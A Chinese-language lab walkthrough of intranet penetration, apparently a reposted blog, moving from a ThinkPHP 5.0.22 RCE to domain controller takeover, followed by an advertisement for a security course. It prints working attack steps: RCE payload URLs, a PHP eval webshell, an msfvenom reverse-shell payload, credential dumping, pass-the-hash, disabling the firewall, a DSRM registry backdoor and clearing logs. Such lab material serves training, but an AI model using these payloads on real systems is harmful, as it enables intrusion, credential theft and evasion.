【珍藏】内网渗透技术全解析:从Web入侵到域控获取的实战教程
本文详细介绍了内网渗透测试全流程,从Web服务器ThinkPHP漏洞利用开始,通过信息搜集、权限提升、凭证获取等技术,实现内网横向移动。文章展示了MSF框架使用、IPC连接、psexec攻击、DSRM后门设置等实用技术,最终成功获取域控权限并实现权限维持,适合网络安全爱好者学习内网渗透技术。
前言``环境搭建web服务器渗透nmap探测端口thinkphp getshellthinkphp批量检测``内网信息搜集``内网渗透上线msf信息搜集获取凭证思路``内网横向移动MS17-010尝试psexec尝试ipc连接关闭域控防火墙psexec尝试*2登录远程桌面``权限维持DSRM后门日志清除
1 前言
在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。
2 环境搭建
靶场:
win7(内):192.168.138.136
win7(外):192.168.10.25
域内主机:
win2008:192.168.138.138
3 web服务器渗透
nmap探测端口
nmap-T4-sC-sV 192.168.10.25这里可以看到几个主要的端口,例如80、135、139、445,这里首先就可以想到可以利用的点有ipc、smb
开了80端口,尝试访问web地址,老笑脸人了,而且还是5.x版本,洞还是比较多
为了确定具体版本,这里先使用报错查看,发现这里的版本为5.0.22,如果没记错的话这里是有一个tp远程命令执行漏洞的
漏洞描述:
由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 _ P O S T [ ′ _ m e t h o d ′ ] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 \_POST[‘\_method’]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 _POST[′_method′]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置_POST[‘_method’]='__construct’而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
thinkphp getshell
这里我首先在kali里面找一下有没有相关的漏洞
searchsploit thinkphp可以看到这里有一个5.x远程执行漏洞,这里直接进入这个文件夹查看一下txt列出来的payload
cd/usr/share/exploitdb/exploits/php/webapps找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username这个payload应该是列出数据库密码,但是这里没有打出来
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password这里打出phpinfo
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1传参看一下当前权限为administrator
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami看一下ip情况,双网卡,那么大概率有域环境
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig看一下进程,发现无杀软那么尝试不用免杀直接写webshell
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc这里直接尝试echo写一个一句话木马进去,这里因为之前查看过没有杀软跟安全狗,这里就不需要做免杀处理
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php这里用dir验证一下是否写入成功
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir使用蚁剑连接成功
thinkphp批量检测
这里我思考了一个问题,thinkphp的版本这么多,如果kali里面的漏洞库没有,而在搜索引擎上去搜索又太耗费时间,有没有一个批量检测thinkphp漏洞的脚本呢?
这里我找到了一个thinkphp漏洞批量检测的脚本
# !/usr/bin/env python这里的使用方法很简单:将要检测的目标放在url.txt里面,如果存在漏洞的地址将自动生成一个target.txt文本保存
4 内网信息搜集
这里使用蚁剑的命令窗口搜集一下本机信息,为administrator权限+双网卡
whoami查看一下域相关信息
netview5 内网渗透
上线msf
msf生成一个abc.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe使用蚁剑上传到靶机上
这里因为没有杀软不用做免杀,直接命令行执行即可
msf开启监听即可上线
权限提升
使用getsystem提权到system,这里因为是靶场的原因getsystem比较容易执行成功
提权后获取一个windows环境下的shell继续对域进行信息搜集
chcp 65001靶机存在一个名为“sun”的域环境,只有一个域控,这里我直接ping一下域控得到域控ip为192.168.138.138
获取凭证
这里因为有两个网段就先把路由添加上方便后续操作
# msf操作这里选择session,使用kiwi来获取靶机密码,注意这里需要进行的一个操作为进程迁移,因为我们这里上线到msf的载荷是32位的(即x86),这里需要找一个64位的(即x64)进行进程迁移才能使用kiwi获取靶机密码
sessions-i 2这里可以看到抓取到了一个域管的密码为dc123.com和一个靶机的密码123.com
思路
这里抓到了靶机和域管的密码,那么这里就可以用pth的方法进行横向移动,这是第一种方法;另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp进行横向移动,这是第二种方法;因为我们之前在用nmap对端口进行扫描的时候是发现了139和445端口的,那么我们拿到了密码的情况下可以尝试使用ipc+计划任务的方式进行横向移动
6 内网横向移动
MS17-010尝试
这里直接使用ms17-010的攻击模块进行尝试,这里其实应该先用扫描模块对处于另一网段的主机进行漏洞扫描,若存在永恒之蓝漏洞才继续使用exp模块进行攻击,这里我为了演示方便就直接上手exp模块进行攻击了
这里攻击可以看到,虽然靶机存在永恒之蓝漏洞但是session反弹不成功,这里是因为在windows server2008的情况下匿名管道是默认不开启的。
我们知道psexec的原理就是使用了管道,ipc连接也同理。那么在匿名管带不开启的情况下永恒之蓝的连接是建立不上的。这里再说一下匿名管道的概念:
管道是IPC最基本的一种实现机制。我们都知道在Linux下“一切皆文件”,其实这里的管道就是一个文件。管道实现进程通信就是让两个进程都能访问该文件。管道的特征:
①只提供单向通信,也就是说,两个进程都能访问这个文件,假设进程1往文件内写东西,那么进程2 就只能读取文件的内容。
②只能用于具有血缘关系的进程间通信,通常用于父子进程建通信
③管道是基于字节流来通信的
④依赖于文件系统,它的生命周期随进程的结束结束(随进程)
⑤其本身自带同步互斥效果
psexec尝试
因为我们已经拿到了域管的帐号那么我们这里就直接使用pth的方法,即哈希传递,使用的是psexec模块,不过这个模块因为被使用太多导致已经被杀软列入了黑名单,如果这里有杀软存在的情况下psexec横向移动是会被拦截的。
设置参数如下所示,这里注意一下SMBPass这个地方也能够通过hash进行传递,也能够通过明文密码进行传递
useexploit/windows/smb/psexec这里可以看到exp已经利用了但是没有session反弹回来,这里我猜测是以为防火墙阻止了端口流量的进出,所以这里我们就需要通过ipc连接去关闭域控的防火墙
ipc连接关闭域控防火墙
这里的常规方法是使用netsh关闭域控防火墙,但是这里需要域控的管理员权限,所以在这里我们就直接使用ipc连接域控然后使用计划任务添加规则关闭防火墙
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"将session挂在后台并与域控建立ipc连接
net use \\192.168.138.138\ipc$ dc123.com /user:administrator这里可以看到连接已经建立成功了
利用sc创建计划任务立即启动关闭域控的防火墙,这里可以看到防火墙已经被关闭了
# 创建服务psexec尝试*2
这时候我们再使用psexec进行横向移动就能够获得session,至此我们就拿到了域控的权限
这里看一下我们直接拿到的就是一个system权限的session
登录远程桌面
这里我想登录远程桌面看看域控还有什么有价值的东西就可以使用socks代理正向进入内网,使用socks_proxy模块
use auxiliary/server/socks_proxt这里还需要配置proxychain文件
socks4 192.168.10.11 1080添加一个内网网段的路由
run autoroute -s 192.168.138.0/24然后使用proxychain命令即可登录远程桌面
proxychain4rdesktop 192.168.138.138登录域控如图所示
7 权限维持
权限维持的方法有很多种,这里我挑了一个使用得不是很多的方法来进行练习加以巩固
DSRM后门
何为DSRM后门?
DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
**注意:**该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。
在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。
首先,为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:
ntdsutil // 进入ntdsutil然后再使用kiwi抓取ntml hash
然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在以下注册表位置中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:
HKLM:\System\CurrentControlSet\Control\Lsa\如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:
New-ItemProperty"HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD使用win7上的mimikatz进行hash传递即可获取到域控权限
privilege::Debugsekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09日志清除
日志清除有两种方法,一种是使用kali里面自带的命令进行日志清除
runevent_manager -i第二种方法则是进入服务器管理器自行清除
文章来自网上,侵权请联系博主
互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!
学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源